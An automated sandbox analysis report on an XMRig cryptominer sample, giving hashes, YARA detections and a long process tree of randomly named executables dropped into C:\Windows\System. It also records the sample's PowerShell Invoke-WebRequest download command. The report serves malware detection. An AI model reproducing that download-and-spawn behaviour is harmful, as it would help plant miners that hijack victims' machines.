xmrig | a43a074c72b0b300a073536b404cc42f1d24170847c0a3479c27c1df110c017f

Analysis

max time kernel
149s
max time network
157s
platform
windows7_x64
resource
win7-20240508-en
resource tags

arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
submitted
07/06/2024, 12:33

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

584357a098ffb98063d924f4593461b0_NeikiAnalytics.exe
Size

3.3MB
MD5

584357a098ffb98063d924f4593461b0
SHA1

ba300db163860f380554955886dccf8e9f0ddaff
SHA256

a43a074c72b0b300a073536b404cc42f1d24170847c0a3479c27c1df110c017f
SHA512

50e52ec163efa2827876241818135ccd998fc5677b79d58ed9eaa0850c643f8d477015ef8c61575a9351eaf4f8aeee8cd97122db92cf89ac93fdea10a6474e42
SSDEEP

98304:71ONtyBeSFkXV1etEKLlWUTOfeiRA2R76zHrW6:7bBeSFk2

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 9 IoCs

miner

resource	yara_rule
behavioral1/files/0x000f00000001226b-6.dat	xmrig
behavioral1/files/0x0008000000016d1b-12.dat	xmrig
behavioral1/memory/2780-25-0x000000013FAC0000-0x000000013FEB6000-memory.dmp	xmrig
behavioral1/memory/2704-34-0x000000013FE50000-0x0000000140246000-memory.dmp	xmrig
behavioral1/files/0x00050000000186f1-70.dat	xmrig
behavioral1/files/0x0036000000016c7a-80.dat	xmrig
behavioral1/files/0x0005000000019260-125.dat	xmrig
behavioral1/memory/1856-156-0x000000013FAC0000-0x000000013FEB6000-memory.dmp	xmrig
behavioral1/files/0x00050000000193a5-170.dat	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2944	powershell.exe

UPX packed file 11 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x000f00000001226b-6.dat	upx
behavioral1/files/0x0008000000016d1b-12.dat	upx
behavioral1/memory/2780-25-0x000000013FAC0000-0x000000013FEB6000-memory.dmp	upx
behavioral1/memory/2704-34-0x000000013FE50000-0x0000000140246000-memory.dmp	upx
behavioral1/files/0x00050000000186f1-70.dat	upx
behavioral1/files/0x0036000000016c7a-80.dat	upx
behavioral1/files/0x0005000000019260-125.dat	upx
behavioral1/memory/1856-156-0x000000013FAC0000-0x000000013FEB6000-memory.dmp	upx
behavioral1/files/0x00050000000193a5-170.dat	upx
behavioral1/memory/1368-3205-0x000000013FDD0000-0x00000001401C6000-memory.dmp	upx
behavioral1/memory/1856-4198-0x000000013FAC0000-0x000000013FEB6000-memory.dmp	upx

C:\Users\Admin\AppData\Local\Temp\584357a098ffb98063d924f4593461b0_NeikiAnalytics.exe
"C:\Users\Admin\AppData\Local\Temp\584357a098ffb98063d924f4593461b0_NeikiAnalytics.exe"
1⤵
PID:1368
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2944
- C:\Windows\System\gcKwEja.exe
  C:\Windows\System\gcKwEja.exe
  2⤵
  PID:2704
- C:\Windows\System\IOmkOLT.exe
  C:\Windows\System\IOmkOLT.exe
  2⤵
  PID:1436
- C:\Windows\System\FJJNJeS.exe
  C:\Windows\System\FJJNJeS.exe
  2⤵
  PID:1900
- C:\Windows\System\kMsUgxT.exe
  C:\Windows\System\kMsUgxT.exe
  2⤵
  PID:1628
- C:\Windows\System\vsvkuUr.exe
  C:\Windows\System\vsvkuUr.exe
  2⤵
  PID:2204
- C:\Windows\System\FktwqZa.exe
  C:\Windows\System\FktwqZa.exe
  2⤵
  PID:1528
- C:\Windows\System\tTNSxNB.exe
  C:\Windows\System\tTNSxNB.exe
  2⤵
  PID:2088
- C:\Windows\System\lqYrIzw.exe
  C:\Windows\System\lqYrIzw.exe
  2⤵
  PID:2448
- C:\Windows\System\CWmSYzJ.exe
  C:\Windows\System\CWmSYzJ.exe
  2⤵
  PID:2992
- C:\Windows\System\ONzHLry.exe
  C:\Windows\System\ONzHLry.exe
  2⤵
  PID:2036
- C:\Windows\System\PjOmHDr.exe
  C:\Windows\System\PjOmHDr.exe
  2⤵
  PID:2092
- C:\Windows\System\ZpkgmQD.exe
  C:\Windows\System\ZpkgmQD.exe
  2⤵
  PID:2076
- C:\Windows\System\JKGVnrR.exe
  C:\Windows\System\JKGVnrR.exe
  2⤵
  PID:1620
- C:\Windows\System\XHolrLI.exe
  C:\Windows\System\XHolrLI.exe
  2⤵
  PID:2644
- C:\Windows\System\qVAkiQg.exe
  C:\Windows\System\qVAkiQg.exe
  2⤵
  PID:2632
- C:\Windows\System\cUVUcPG.exe
  C:\Windows\System\cUVUcPG.exe
  2⤵
  PID:2684
- C:\Windows\System\ioYLRJd.exe
  C:\Windows\System\ioYLRJd.exe
  2⤵
  PID:2548
- C:\Windows\System\jlrJUgf.exe
  C:\Windows\System\jlrJUgf.exe
  2⤵
  PID:1624
- C:\Windows\System\FVaOulU.exe
  C:\Windows\System\FVaOulU.exe
  2⤵
  PID:2708
- C:\Windows\System\EOZYcXj.exe
  C:\Windows\System\EOZYcXj.exe
  2⤵
  PID:2500
- C:\Windows\System\XloxqqY.exe
  C:\Windows\System\XloxqqY.exe
  2⤵
  PID:1876
- C:\Windows\System\dDAiKIV.exe
  C:\Windows\System\dDAiKIV.exe
  2⤵
  PID:2744
- C:\Windows\System\UBvrerE.exe
  C:\Windows\System\UBvrerE.exe
  2⤵
  PID:2192
- C:\Windows\System\mjciIoy.exe
  C:\Windows\System\mjciIoy.exe
  2⤵
  PID:1676
- C:\Windows\System\PtiFeAW.exe
  C:\Windows\System\PtiFeAW.exe
  2⤵
  PID:732
- C:\Windows\System\wETOEbT.exe
  C:\Windows\System\wETOEbT.exe
  2⤵
  PID:2148
- C:\Windows\System\sjdJjpN.exe
  C:\Windows\System\sjdJjpN.exe
  2⤵
  PID:2984
- C:\Windows\System\rdfOuIQ.exe
  C:\Windows\System\rdfOuIQ.exe
  2⤵
  PID:760
- C:\Windows\System\DkyIdPn.exe
  C:\Windows\System\DkyIdPn.exe
  2⤵
  PID:1744
- C:\Windows\System\zFYFvqh.exe
  C:\Windows\System\zFYFvqh.exe
  2⤵
  PID:480
- C:\Windows\System\LSaRoCo.exe
  C:\Windows\System\LSaRoCo.exe
  2⤵
  PID:2628
- C:\Windows\System\iEmjamg.exe
  C:\Windows\System\iEmjamg.exe
  2⤵
  PID:2732
- C:\Windows\System\egOyFhC.exe
  C:\Windows\System\egOyFhC.exe
  2⤵
  PID:2848
- C:\Windows\System\YobeYdB.exe
  C:\Windows\System\YobeYdB.exe
  2⤵
  PID:2840
- C:\Windows\System\tiscAat.exe
  C:\Windows\System\tiscAat.exe
  2⤵
  PID:1560
- C:\Windows\System\jandEbF.exe
  C:\Windows\System\jandEbF.exe
  2⤵
  PID:2480
- C:\Windows\System\AAxAdPu.exe
  C:\Windows\System\AAxAdPu.exe
  2⤵
  PID:896
- C:\Windows\System\lqGNSev.exe
  C:\Windows\System\lqGNSev.exe
  2⤵
  PID:1752
- C:\Windows\System\SMEtXOr.exe
  C:\Windows\System\SMEtXOr.exe
  2⤵
  PID:2332
- C:\Windows\System\dIoOqVn.exe
  C:\Windows\System\dIoOqVn.exe
  2⤵
  PID:2920
- C:\Windows\System\IINQjvh.exe
  C:\Windows\System\IINQjvh.exe
  2⤵
  PID:556
- C:\Windows\System\dhWOEJR.exe
  C:\Windows\System\dhWOEJR.exe
  2⤵
  PID:1564
- C:\Windows\System\Kaiasmy.exe
  C:\Windows\System\Kaiasmy.exe
  2⤵
  PID:1520
- C:\Windows\System\wGYFMml.exe
  C:\Windows\System\wGYFMml.exe
  2⤵
  PID:1312
- C:\Windows\System\TflBIFz.exe
  C:\Windows\System\TflBIFz.exe
  2⤵
  PID:2604
- C:\Windows\System\wUNakOu.exe
  C:\Windows\System\wUNakOu.exe
  2⤵
  PID:2576
- C:\Windows\System\WrCipCI.exe
  C:\Windows\System\WrCipCI.exe
  2⤵
  PID:2852
- C:\Windows\System\RkOIgAn.exe
  C:\Windows\System\RkOIgAn.exe
  2⤵
  PID:2716
- C:\Windows\System\RAUhdZp.exe
  C:\Windows\System\RAUhdZp.exe
  2⤵
  PID:2436
- C:\Windows\System\RvVZCQy.exe
  C:\Windows\System\RvVZCQy.exe
  2⤵
  PID:2820
- C:\Windows\System\wHiblRi.exe
  C:\Windows\System\wHiblRi.exe
  2⤵
  PID:2772
- C:\Windows\System\lAWulpB.exe
  C:\Windows\System\lAWulpB.exe
  2⤵
  PID:600
- C:\Windows\System\aWjZLBI.exe
  C:\Windows\System\aWjZLBI.exe
  2⤵
  PID:2456
- C:\Windows\System\xreVvim.exe
  C:\Windows\System\xreVvim.exe
  2⤵
  PID:1756
- C:\Windows\System\dZMbvxS.exe
  C:\Windows\System\dZMbvxS.exe
  2⤵
  PID:2016
- C:\Windows\System\olHvCVv.exe
  C:\Windows\System\olHvCVv.exe
  2⤵
  PID:2280
- C:\Windows\System\gujBILs.exe
  C:\Windows\System\gujBILs.exe
  2⤵
  PID:2556
- C:\Windows\System\nsTpcfA.exe
  C:\Windows\System\nsTpcfA.exe
  2⤵
  PID:3132
- C:\Windows\System\BHnbnpc.exe
  C:\Windows\System\BHnbnpc.exe
  2⤵
  PID:3224
- C:\Windows\System\YQseqtw.exe
  C:\Windows\System\YQseqtw.exe
  2⤵
  PID:3452
- C:\Windows\System\TktDoey.exe
  C:\Windows\System\TktDoey.exe
  2⤵
  PID:3468
- C:\Windows\System\bmnogMX.exe
  C:\Windows\System\bmnogMX.exe
  2⤵
  PID:3492
- C:\Windows\System\GNTbGQy.exe
  C:\Windows\System\GNTbGQy.exe
  2⤵
  PID:3532
- C:\Windows\System\syhRIgq.exe
  C:\Windows\System\syhRIgq.exe
  2⤵
  PID:3556
- C:\Windows\System\JKmdzil.exe
  C:\Windows\System\JKmdzil.exe
  2⤵
  PID:3576
- C:\Windows\System\WubcChu.exe
  C:\Windows\System\WubcChu.exe
  2⤵
  PID:3592
- C:\Windows\System\iAbsymB.exe
  C:\Windows\System\iAbsymB.exe
  2⤵
  PID:3608
- C:\Windows\System\iJrpUwl.exe
  C:\Windows\System\iJrpUwl.exe
  2⤵
  PID:3624
- C:\Windows\System\daaDSoB.exe
  C:\Windows\System\daaDSoB.exe
  2⤵
  PID:3640
- C:\Windows\System\CeHdiJs.exe
  C:\Windows\System\CeHdiJs.exe
  2⤵
  PID:3660
- C:\Windows\System\GjxORAF.exe
  C:\Windows\System\GjxORAF.exe
  2⤵
  PID:3684
- C:\Windows\System\DfoBYSK.exe
  C:\Windows\System\DfoBYSK.exe
  2⤵
  PID:3708
- C:\Windows\System\ghRStjb.exe
  C:\Windows\System\ghRStjb.exe
  2⤵
  PID:3724
- C:\Windows\System\flxvBQp.exe
  C:\Windows\System\flxvBQp.exe
  2⤵
  PID:3740
- C:\Windows\System\TOZlYqk.exe
  C:\Windows\System\TOZlYqk.exe
  2⤵
  PID:3780
- C:\Windows\System\yKukLwj.exe
  C:\Windows\System\yKukLwj.exe
  2⤵
  PID:3820
- C:\Windows\System\zIOlQjx.exe
  C:\Windows\System\zIOlQjx.exe
  2⤵
  PID:3840
- C:\Windows\System\yGLAGwS.exe
  C:\Windows\System\yGLAGwS.exe
  2⤵
  PID:3936
- C:\Windows\System\ZQpfoTU.exe
  C:\Windows\System\ZQpfoTU.exe
  2⤵
  PID:3300
- C:\Windows\System\KoRvjQS.exe
  C:\Windows\System\KoRvjQS.exe
  2⤵
  PID:3508
- C:\Windows\System\blwJnrz.exe
  C:\Windows\System\blwJnrz.exe
  2⤵
  PID:3636
- C:\Windows\System\UKKPACO.exe
  C:\Windows\System\UKKPACO.exe
  2⤵
  PID:3884
- C:\Windows\System\kTToesU.exe
  C:\Windows\System\kTToesU.exe
  2⤵
  PID:4080
- C:\Windows\System\zvaNdQr.exe
  C:\Windows\System\zvaNdQr.exe
  2⤵
  PID:3444
- C:\Windows\System\ZYVxLzN.exe
  C:\Windows\System\ZYVxLzN.exe
  2⤵
  PID:3908
- C:\Windows\System\JcjevOs.exe
  C:\Windows\System\JcjevOs.exe
  2⤵
  PID:3760
- C:\Windows\System\lzcGkyn.exe
  C:\Windows\System\lzcGkyn.exe
  2⤵
  PID:4532
- C:\Windows\System\LiEIHXU.exe
  C:\Windows\System\LiEIHXU.exe
  2⤵
  PID:4552
- C:\Windows\System\lwbhKRe.exe
  C:\Windows\System\lwbhKRe.exe
  2⤵
  PID:4708
- C:\Windows\System\nxjpPPF.exe
  C:\Windows\System\nxjpPPF.exe
  2⤵
  PID:4868
- C:\Windows\System\zemRLkN.exe
  C:\Windows\System\zemRLkN.exe
  2⤵
  PID:5088
- C:\Windows\System\csTWxgQ.exe
  C:\Windows\System\csTWxgQ.exe
  2⤵
  PID:4600
- C:\Windows\System\qbkePdM.exe
  C:\Windows\System\qbkePdM.exe
  2⤵
  PID:4972
- C:\Windows\System\JwcKSqI.exe
  C:\Windows\System\JwcKSqI.exe
  2⤵
  PID:4300
- C:\Windows\System\gWOURjq.exe
  C:\Windows\System\gWOURjq.exe
  2⤵
  PID:4992
- C:\Windows\System\CAVspdE.exe
  C:\Windows\System\CAVspdE.exe
  2⤵
  PID:5248
- C:\Windows\System\fnjzPRx.exe
  C:\Windows\System\fnjzPRx.exe
  2⤵
  PID:5268
- C:\Windows\System\IIUGAyP.exe
  C:\Windows\System\IIUGAyP.exe
  2⤵
  PID:5444
- C:\Windows\System\CkRqhjd.exe
  C:\Windows\System\CkRqhjd.exe
  2⤵
  PID:5596
- C:\Windows\System\qXNWXDZ.exe
  C:\Windows\System\qXNWXDZ.exe
  2⤵
  PID:5836
- C:\Windows\System\vjUNBBj.exe
  C:\Windows\System\vjUNBBj.exe
  2⤵
  PID:5852
- C:\Windows\System\QAMoyxs.exe
  C:\Windows\System\QAMoyxs.exe
  2⤵
  PID:4172
- C:\Windows\System\qxjxJfX.exe
  C:\Windows\System\qxjxJfX.exe
  2⤵
  PID:5312
- C:\Windows\System\qLAddbP.exe
  C:\Windows\System\qLAddbP.exe
  2⤵
  PID:4828
- C:\Windows\System\hsbMZAX.exe
  C:\Windows\System\hsbMZAX.exe
  2⤵
  PID:5848
- C:\Windows\System\qKyYTCH.exe
  C:\Windows\System\qKyYTCH.exe
  2⤵
  PID:6116
- C:\Windows\System\dFBMcqU.exe
  C:\Windows\System\dFBMcqU.exe
  2⤵
  PID:4316
- C:\Windows\System\SVAmghu.exe
  C:\Windows\System\SVAmghu.exe
  2⤵
  PID:5760
- C:\Windows\System\QhsFATQ.exe
  C:\Windows\System\QhsFATQ.exe
  2⤵
  PID:4024
- C:\Windows\System\eQSVSuL.exe
  C:\Windows\System\eQSVSuL.exe
  2⤵
  PID:5696
- C:\Windows\System\cGAVdPU.exe
  C:\Windows\System\cGAVdPU.exe
  2⤵
  PID:5056
- C:\Windows\System\ERESwnF.exe
  C:\Windows\System\ERESwnF.exe
  2⤵
  PID:5552
- C:\Windows\System\kDvqRpK.exe
  C:\Windows\System\kDvqRpK.exe
  2⤵
  PID:5264
- C:\Windows\System\EvAKlEy.exe
  C:\Windows\System\EvAKlEy.exe
  2⤵
  PID:5504
- C:\Windows\System\OFCosJx.exe
  C:\Windows\System\OFCosJx.exe
  2⤵
  PID:5296
- C:\Windows\System\HYPXDmL.exe
  C:\Windows\System\HYPXDmL.exe
  2⤵
  PID:4540
- C:\Windows\System\icOJUPu.exe
  C:\Windows\System\icOJUPu.exe
  2⤵
  PID:4320
- C:\Windows\System\KqhLENO.exe
  C:\Windows\System\KqhLENO.exe
  2⤵
  PID:5484
- C:\Windows\System\JFAvlhO.exe
  C:\Windows\System\JFAvlhO.exe
  2⤵
  PID:5788
- C:\Windows\System\ZjHUHHm.exe
  C:\Windows\System\ZjHUHHm.exe
  2⤵
  PID:5660
- C:\Windows\System\jUbWCOj.exe
  C:\Windows\System\jUbWCOj.exe
  2⤵
  PID:5408
- C:\Windows\System\YoooWqM.exe
  C:\Windows\System\YoooWqM.exe
  2⤵
  PID:4684
- C:\Windows\System\mlvmSkN.exe
  C:\Windows\System\mlvmSkN.exe
  2⤵
  PID:4484
- C:\Windows\System\TywdiVC.exe
  C:\Windows\System\TywdiVC.exe
  2⤵
  PID:5824
- C:\Windows\System\hVaDlwv.exe
  C:\Windows\System\hVaDlwv.exe
  2⤵
  PID:6184
- C:\Windows\System\FlJtTRU.exe
  C:\Windows\System\FlJtTRU.exe
  2⤵
  PID:6260
- C:\Windows\System\EFwsnaR.exe
  C:\Windows\System\EFwsnaR.exe
  2⤵
  PID:6348
- C:\Windows\System\EAFMKBh.exe
  C:\Windows\System\EAFMKBh.exe
  2⤵
  PID:6456
- C:\Windows\System\yPeZbyO.exe
  C:\Windows\System\yPeZbyO.exe
  2⤵
  PID:6596
- C:\Windows\System\gbMnuPh.exe
  C:\Windows\System\gbMnuPh.exe
  2⤵
  PID:6612
- C:\Windows\System\LXkRotz.exe
  C:\Windows\System\LXkRotz.exe
  2⤵
  PID:6628
- C:\Windows\System\mLEPTXQ.exe
  C:\Windows\System\mLEPTXQ.exe
  2⤵
  PID:6648
- C:\Windows\System\xSfTzGv.exe
  C:\Windows\System\xSfTzGv.exe
  2⤵
  PID:6664
- C:\Windows\System\euSeUZw.exe
  C:\Windows\System\euSeUZw.exe
  2⤵
  PID:6688
- C:\Windows\System\bDwpBKQ.exe
  C:\Windows\System\bDwpBKQ.exe
  2⤵
  PID:6708
- C:\Windows\System\gXQvsGA.exe
  C:\Windows\System\gXQvsGA.exe
  2⤵
  PID:6744
- C:\Windows\System\lguSyxa.exe
  C:\Windows\System\lguSyxa.exe
  2⤵
  PID:6772
- C:\Windows\System\lfaxNVO.exe
  C:\Windows\System\lfaxNVO.exe
  2⤵
  PID:6788
- C:\Windows\System\HESppFe.exe
  C:\Windows\System\HESppFe.exe
  2⤵
  PID:6808
- C:\Windows\System\iWoQpZC.exe
  C:\Windows\System\iWoQpZC.exe
  2⤵
  PID:6824
- C:\Windows\System\UvdPjUd.exe
  C:\Windows\System\UvdPjUd.exe
  2⤵
  PID:6840
- C:\Windows\System\akrtcTg.exe
  C:\Windows\System\akrtcTg.exe
  2⤵
  PID:6856
- C:\Windows\System\srqFJwl.exe
  C:\Windows\System\srqFJwl.exe
  2⤵
  PID:6876
- C:\Windows\System\PiKexNI.exe
  C:\Windows\System\PiKexNI.exe
  2⤵
  PID:6892
- C:\Windows\System\nGUxFNC.exe
  C:\Windows\System\nGUxFNC.exe
  2⤵
  PID:6912
- C:\Windows\System\UtjdZRl.exe
  C:\Windows\System\UtjdZRl.exe
  2⤵
  PID:6936
- C:\Windows\System\XcvQVLU.exe
  C:\Windows\System\XcvQVLU.exe
  2⤵
  PID:6976
- C:\Windows\System\kCqBTQh.exe
  C:\Windows\System\kCqBTQh.exe
  2⤵
  PID:6992
- C:\Windows\System\cUSXPEw.exe
  C:\Windows\System\cUSXPEw.exe
  2⤵
  PID:7012
- C:\Windows\System\mgOjIOS.exe
  C:\Windows\System\mgOjIOS.exe
  2⤵
  PID:7040
- C:\Windows\System\VvDbHnz.exe
  C:\Windows\System\VvDbHnz.exe
  2⤵
  PID:7080
- C:\Windows\System\AtVbxid.exe
  C:\Windows\System\AtVbxid.exe
  2⤵
  PID:6072
- C:\Windows\System\PBKXooB.exe
  C:\Windows\System\PBKXooB.exe
  2⤵
  PID:6700
- C:\Windows\System\rIwTPzr.exe
  C:\Windows\System\rIwTPzr.exe
  2⤵
  PID:6740
- C:\Windows\System\GxhHWXF.exe
  C:\Windows\System\GxhHWXF.exe
  2⤵
  PID:6864
- C:\Windows\System\toWFwFM.exe
  C:\Windows\System\toWFwFM.exe
  2⤵
  PID:7204
- C:\Windows\System\iEGASfU.exe
  C:\Windows\System\iEGASfU.exe
  2⤵
  PID:7252
- C:\Windows\System\mNRNFnk.exe
  C:\Windows\System\mNRNFnk.exe
  2⤵
  PID:7492
- C:\Windows\System\pOASKNe.exe
  C:\Windows\System\pOASKNe.exe
  2⤵
  PID:7688
- C:\Windows\System\qCMKxVM.exe
  C:\Windows\System\qCMKxVM.exe
  2⤵
  PID:7748
- C:\Windows\System\JRatrkY.exe
  C:\Windows\System\JRatrkY.exe
  2⤵
  PID:7868
- C:\Windows\System\WVbhlpE.exe
  C:\Windows\System\WVbhlpE.exe
  2⤵
  PID:8012
- C:\Windows\System\xEePSuc.exe
  C:\Windows\System\xEePSuc.exe
  2⤵
  PID:8136
- C:\Windows\System\AJicCrt.exe
  C:\Windows\System\AJicCrt.exe
  2⤵
  PID:8164
- C:\Windows\System\VzFlLKr.exe
  C:\Windows\System\VzFlLKr.exe
  2⤵
  PID:8184
- C:\Windows\System\GevXYao.exe
  C:\Windows\System\GevXYao.exe
  2⤵
  PID:7068
- C:\Windows\System\swcUMxO.exe
  C:\Windows\System\swcUMxO.exe
  2⤵
  PID:6180
- C:\Windows\System\KaePYsQ.exe
  C:\Windows\System\KaePYsQ.exe
  2⤵
  PID:7196
- C:\Windows\System\jLxfwYh.exe
  C:\Windows\System\jLxfwYh.exe
  2⤵
  PID:7268
- C:\Windows\System\aVgJPwp.exe
  C:\Windows\System\aVgJPwp.exe
  2⤵
  PID:7288
- C:\Windows\System\ldfnbIV.exe
  C:\Windows\System\ldfnbIV.exe
  2⤵
  PID:6232
- C:\Windows\System\HvcsupJ.exe
  C:\Windows\System\HvcsupJ.exe
  2⤵
  PID:7304
- C:\Windows\System\fRrioOE.exe
  C:\Windows\System\fRrioOE.exe
  2⤵
  PID:7320
- C:\Windows\System\mbDTGvN.exe
  C:\Windows\System\mbDTGvN.exe
  2⤵
  PID:6156
- C:\Windows\System\EnCZFyr.exe
  C:\Windows\System\EnCZFyr.exe
  2⤵
  PID:7336
- C:\Windows\System\zupPYPH.exe
  C:\Windows\System\zupPYPH.exe
  2⤵
  PID:7076
- C:\Windows\System\gseskUB.exe
  C:\Windows\System\gseskUB.exe
  2⤵
  PID:6504
- C:\Windows\System\NJUztGB.exe
  C:\Windows\System\NJUztGB.exe
  2⤵
  PID:6408
- C:\Windows\System\aaEafdd.exe
  C:\Windows\System\aaEafdd.exe
  2⤵
  PID:6752
- C:\Windows\System\zAvEuyQ.exe
  C:\Windows\System\zAvEuyQ.exe
  2⤵
  PID:7184
- C:\Windows\System\mLLdepS.exe
  C:\Windows\System\mLLdepS.exe
  2⤵
  PID:6280
- C:\Windows\System\ezmnCUV.exe
  C:\Windows\System\ezmnCUV.exe
  2⤵
  PID:7376
- C:\Windows\System\BJbpOeU.exe
  C:\Windows\System\BJbpOeU.exe
  2⤵
  PID:7392
- C:\Windows\System\SkVxRNR.exe
  C:\Windows\System\SkVxRNR.exe
  2⤵
  PID:7460
- C:\Windows\System\kxdaccj.exe
  C:\Windows\System\kxdaccj.exe
  2⤵
  PID:7412
- C:\Windows\System\FyMjfxD.exe
  C:\Windows\System\FyMjfxD.exe
  2⤵
  PID:7440
- C:\Windows\System\uyxnwjK.exe
  C:\Windows\System\uyxnwjK.exe
  2⤵
  PID:7556
- C:\Windows\System\qdMdrat.exe
  C:\Windows\System\qdMdrat.exe
  2⤵
  PID:7584
- C:\Windows\System\UPrKCcX.exe
  C:\Windows\System\UPrKCcX.exe
  2⤵
  PID:7444
- C:\Windows\System\ioyOQbj.exe
  C:\Windows\System\ioyOQbj.exe
  2⤵
  PID:7572
- C:\Windows\System\uEnLSui.exe
  C:\Windows\System\uEnLSui.exe
  2⤵
  PID:7640
- C:\Windows\System\jxlzVgo.exe
  C:\Windows\System\jxlzVgo.exe
  2⤵
  PID:7696
- C:\Windows\System\vqOTlYh.exe
  C:\Windows\System\vqOTlYh.exe
  2⤵
  PID:7736
- C:\Windows\System\tURsKEd.exe
  C:\Windows\System\tURsKEd.exe
  2⤵
  PID:7760
- C:\Windows\System\NAXbXxV.exe
  C:\Windows\System\NAXbXxV.exe
  2⤵
  PID:7828
- C:\Windows\System\UySQswu.exe
  C:\Windows\System\UySQswu.exe
  2⤵
  PID:7780
- C:\Windows\System\pHxtfrI.exe
  C:\Windows\System\pHxtfrI.exe
  2⤵
  PID:7912
- C:\Windows\System\YUaxPDZ.exe
  C:\Windows\System\YUaxPDZ.exe
  2⤵
  PID:7888
- C:\Windows\System\EwGcxXz.exe
  C:\Windows\System\EwGcxXz.exe
  2⤵
  PID:8020
- C:\Windows\System\dWNuSlJ.exe
  C:\Windows\System\dWNuSlJ.exe
  2⤵
  PID:8036
- C:\Windows\System\tAdhCpV.exe
  C:\Windows\System\tAdhCpV.exe
  2⤵
  PID:8068
- C:\Windows\System\KlCZuFp.exe
  C:\Windows\System\KlCZuFp.exe
  2⤵
  PID:8108
- C:\Windows\System\DAEMGoe.exe
  C:\Windows\System\DAEMGoe.exe
  2⤵
  PID:8092
- C:\Windows\System\plHuPsj.exe
  C:\Windows\System\plHuPsj.exe
  2⤵
  PID:8052
- C:\Windows\System\MqbdihD.exe
  C:\Windows\System\MqbdihD.exe
  2⤵
  PID:8156
- C:\Windows\System\SseFJCm.exe
  C:\Windows\System\SseFJCm.exe
  2⤵
  PID:8132
- C:\Windows\System\NEJLApw.exe
  C:\Windows\System\NEJLApw.exe
  2⤵
  PID:7260
- C:\Windows\System\hzkGYoH.exe
  C:\Windows\System\hzkGYoH.exe
  2⤵
  PID:7276
- C:\Windows\System\zluyUvJ.exe
  C:\Windows\System\zluyUvJ.exe
  2⤵
  PID:6376
- C:\Windows\System\GiCVBgi.exe
  C:\Windows\System\GiCVBgi.exe
  2⤵
  PID:7148
- C:\Windows\System\juuKEpn.exe
  C:\Windows\System\juuKEpn.exe
  2⤵
  PID:7232
- C:\Windows\System\KhSIGup.exe
  C:\Windows\System\KhSIGup.exe
  2⤵
  PID:6340
- C:\Windows\System\MDWvTgi.exe
  C:\Windows\System\MDWvTgi.exe
  2⤵
  PID:6884
- C:\Windows\System\dBkYYOi.exe
  C:\Windows\System\dBkYYOi.exe
  2⤵
  PID:6800
- C:\Windows\System\diCYVBT.exe
  C:\Windows\System\diCYVBT.exe
  2⤵
  PID:7212
- C:\Windows\System\fUwkfYO.exe
  C:\Windows\System\fUwkfYO.exe
  2⤵
  PID:7360
- C:\Windows\System\wFGfhlk.exe
  C:\Windows\System\wFGfhlk.exe
  2⤵
  PID:7540
- C:\Windows\System\QqVwxLp.exe
  C:\Windows\System\QqVwxLp.exe
  2⤵
  PID:6836
- C:\Windows\System\nLnzvrP.exe
  C:\Windows\System\nLnzvrP.exe
  2⤵
  PID:7592
- C:\Windows\System\oDbVyvc.exe
  C:\Windows\System\oDbVyvc.exe
  2⤵
  PID:7552
- C:\Windows\System\zyKxAqh.exe
  C:\Windows\System\zyKxAqh.exe
  2⤵
  PID:7608
- C:\Windows\System\ypfYWsg.exe
  C:\Windows\System\ypfYWsg.exe
  2⤵
  PID:7744
- C:\Windows\System\bpipcUP.exe
  C:\Windows\System\bpipcUP.exe
  2⤵
  PID:7704
- C:\Windows\System\lGWCziT.exe
  C:\Windows\System\lGWCziT.exe
  2⤵
  PID:7864
- C:\Windows\System\sxIqOPs.exe
  C:\Windows\System\sxIqOPs.exe
  2⤵
  PID:7924
- C:\Windows\System\gvDzAaO.exe
  C:\Windows\System\gvDzAaO.exe
  2⤵
  PID:7896
- C:\Windows\System\sZaTQzA.exe
  C:\Windows\System\sZaTQzA.exe
  2⤵
  PID:1372
- C:\Windows\System\oaigDow.exe
  C:\Windows\System\oaigDow.exe
  2⤵
  PID:8076
- C:\Windows\System\lOukkSa.exe
  C:\Windows\System\lOukkSa.exe
  2⤵
  PID:8008
- C:\Windows\System\eoWoOVY.exe
  C:\Windows\System\eoWoOVY.exe
  2⤵
  PID:8144
- C:\Windows\System\maMLIBh.exe
  C:\Windows\System\maMLIBh.exe
  2⤵
  PID:6964
- C:\Windows\System\JoWyUFo.exe
  C:\Windows\System\JoWyUFo.exe
  2⤵
  PID:6888
- C:\Windows\System\qVcoixm.exe
  C:\Windows\System\qVcoixm.exe
  2⤵
  PID:7296
- C:\Windows\System\xOBKYWl.exe
  C:\Windows\System\xOBKYWl.exe
  2⤵
  PID:7332
- C:\Windows\System\vdjoOZV.exe
  C:\Windows\System\vdjoOZV.exe
  2⤵
  PID:5244
- C:\Windows\System\sPAgaLs.exe
  C:\Windows\System\sPAgaLs.exe
  2⤵
  PID:7248
- C:\Windows\System\UuIGrZD.exe
  C:\Windows\System\UuIGrZD.exe
  2⤵
  PID:7428
- C:\Windows\System\RCingLp.exe
  C:\Windows\System\RCingLp.exe
  2⤵
  PID:7664
- C:\Windows\System\HAOptiq.exe
  C:\Windows\System\HAOptiq.exe
  2⤵
  PID:7624
- C:\Windows\System\DaazKBK.exe
  C:\Windows\System\DaazKBK.exe
  2⤵
  PID:7032
- C:\Windows\System\IZRlVOS.exe
  C:\Windows\System\IZRlVOS.exe
  2⤵
  PID:8032
- C:\Windows\System\BVgKCWu.exe
  C:\Windows\System\BVgKCWu.exe
  2⤵
  PID:7796
- C:\Windows\System\GBwXiOZ.exe
  C:\Windows\System\GBwXiOZ.exe
  2⤵
  PID:7464
- C:\Windows\System\UxvAYKK.exe
  C:\Windows\System\UxvAYKK.exe
  2⤵
  PID:7892
- C:\Windows\System\DjRxyVw.exe
  C:\Windows\System\DjRxyVw.exe
  2⤵
  PID:7988
- C:\Windows\System\gmkoGRc.exe
  C:\Windows\System\gmkoGRc.exe
  2⤵
  PID:1488
- C:\Windows\System\WtIaRLC.exe
  C:\Windows\System\WtIaRLC.exe
  2⤵
  PID:8024
